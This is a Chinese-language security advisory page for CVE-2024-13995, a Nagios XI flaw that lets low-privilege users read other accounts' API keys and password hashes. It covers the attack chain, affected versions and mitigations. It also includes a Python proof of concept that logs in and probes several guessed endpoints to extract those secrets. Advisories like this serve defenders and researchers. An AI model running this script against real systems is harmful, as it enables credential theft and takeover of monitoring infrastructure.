IPBUF安全漏洞报告
English
CVE-2024-13995 CVSS 8.8 高危

CVE-2024-13995 Nagios XI 认证用户敏感信息泄露漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2024-13995
漏洞类型
信息泄露
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Nagios XI

相关标签

信息泄露权限绕过Nagios XICVE-2024-13995API密钥泄露密码哈希泄露认证绕过高危漏洞

漏洞概述

CVE-2024-13995是Nagios XI中的一个高危信息泄露漏洞。该漏洞存在于2024R1.1.2之前的Nagios XI版本中(已确认影响2024R1.1和2024R1.1.1版本)。漏洞允许经过低权限认证的用户访问本不应该有权限访问的敏感用户账户信息,包括API密钥和密码哈希值。由于Nagios XI通常作为企业级监控解决方案部署,这些系统通常具有较高的网络访问权限,因此泄露的API密钥可能被攻击者用于滥用API权限、横向移动或进一步入侵关键基础设施。此外,密码哈希可能被用于离线暴力破解攻击,从而获取更多用户凭证。CVSS评分8.8,属于高危漏洞,对机密性、完整性和可用性都产生严重影响。

技术细节

该漏洞属于授权后的敏感信息泄露(Broken Access Control)。Nagios XI的Web界面在处理用户账户信息查询时,存在权限验证缺陷。系统未能正确限制低权限用户对API密钥和密码哈希字段的访问权限。攻击者只需拥有基本的认证账户(即使是低权限账户),通过构造特定的API请求或Web界面操作,即可获取其他用户或管理员的敏感信息。具体技术细节包括:攻击者可以通过/monitoring/或/administration/路径下的特定端点,利用未正确验证的AJAX请求获取用户列表或用户详情信息。这些API端点在返回数据时包含了password_hash和api_key等敏感字段,而前端或后端权限检查未能正确过滤这些信息。攻击者利用泄露的API密钥可以直接调用Nagios XI API执行监控操作、修改配置或获取更多敏感数据。

攻击链分析

STEP 1
步骤1
攻击者获取Nagios XI的低权限账户(如普通监控用户)
STEP 2
步骤2
攻击者使用该账户登录Nagios XI Web界面或API
STEP 3
步骤3
攻击者通过构造特定请求访问用户信息端点(如/admin/users.php或相关API)
STEP 4
步骤4
系统错误地返回包含其他用户API密钥和密码哈希的响应
STEP 5
步骤5
攻击者获取敏感数据后,可利用API密钥执行未授权操作或对密码哈希进行离线破解
STEP 6
步骤6
攻击者可能获取管理员权限,进一步控制整个监控系统和相关基础设施

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2024-13995 PoC - Nagios XI Authenticated Information Disclosure Note: This PoC is for educational and authorized testing purposes only. """ import requests import json import sys from urllib.parse import urljoin def exploit_nagios_xi_info_disclosure(target_url, username, password): """ Exploit CVE-2024-13995 to extract sensitive user information including API keys and password hashes """ session = requests.Session() # Step 1: Login to Nagios XI login_url = urljoin(target_url, '/nagiosxi/login.php') login_data = { 'username': username, 'password': password, 'loginButton': 'Login' } print(f'[*] Attempting login to {target_url}') response = session.post(login_url, data=login_data, allow_redirects=True) if 'nagiosxi' not in session.cookies.get_dict() and 'nagiosxi' not in response.text.lower(): print('[-] Login failed') return None print('[+] Login successful') # Step 2: Extract user information via API endpoint # Common endpoint that may leak information api_endpoints = [ '/nagiosxi/api/v1/objects/userinfo', '/nagiosxi/api/v1/system/userlist', '/nagiosxi/admin/users.php?expand=1', '/nagiosxi/includes/components/profile-manager/getuserinfo.php' ] sensitive_data = [] for endpoint in api_endpoints: try: url = urljoin(target_url, endpoint) response = session.get(url, timeout=10) if response.status_code == 200: # Look for sensitive fields text = response.text if 'api_key' in text.lower() or 'password_hash' in text.lower() or 'hash' in text.lower(): print(f'[+] Found potential sensitive data at {endpoint}') # Try to parse JSON response try: data = response.json() sensitive_data.append({'endpoint': endpoint, 'data': data}) except: sensitive_data.append({'endpoint': endpoint, 'data': text}) except Exception as e: print(f'[-] Error accessing {endpoint}: {e}') return sensitive_data if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python3 cve-2024-13995-poc.py <target_url> <username> <password>') print('Example: python3 cve-2024-13995-poc.py http://nagios-server.local admin nagios') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] results = exploit_nagios_xi_info_disclosure(target, user, pwd) if results: print('\n[+] Sensitive Information Found:') print(json.dumps(results, indent=2)) else: print('[-] No sensitive information extracted or target not vulnerable')

影响范围

Nagios XI < 2024R1.1.2
Nagios XI 2024R1.1 (确认受影响)
Nagios XI 2024R1.1.1 (确认受影响)

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1) 限制Nagios XI的网络访问,仅允许受信任的IP地址访问管理界面;2) 审查并撤销所有现有API密钥,生成新的密钥;3) 强制所有用户重置密码;4) 启用双因素认证增强账户安全;5) 在Web应用防火墙中配置规则,监控和阻止异常的用户信息查询请求;6) 定期检查审计日志,查找未授权的敏感信息访问尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表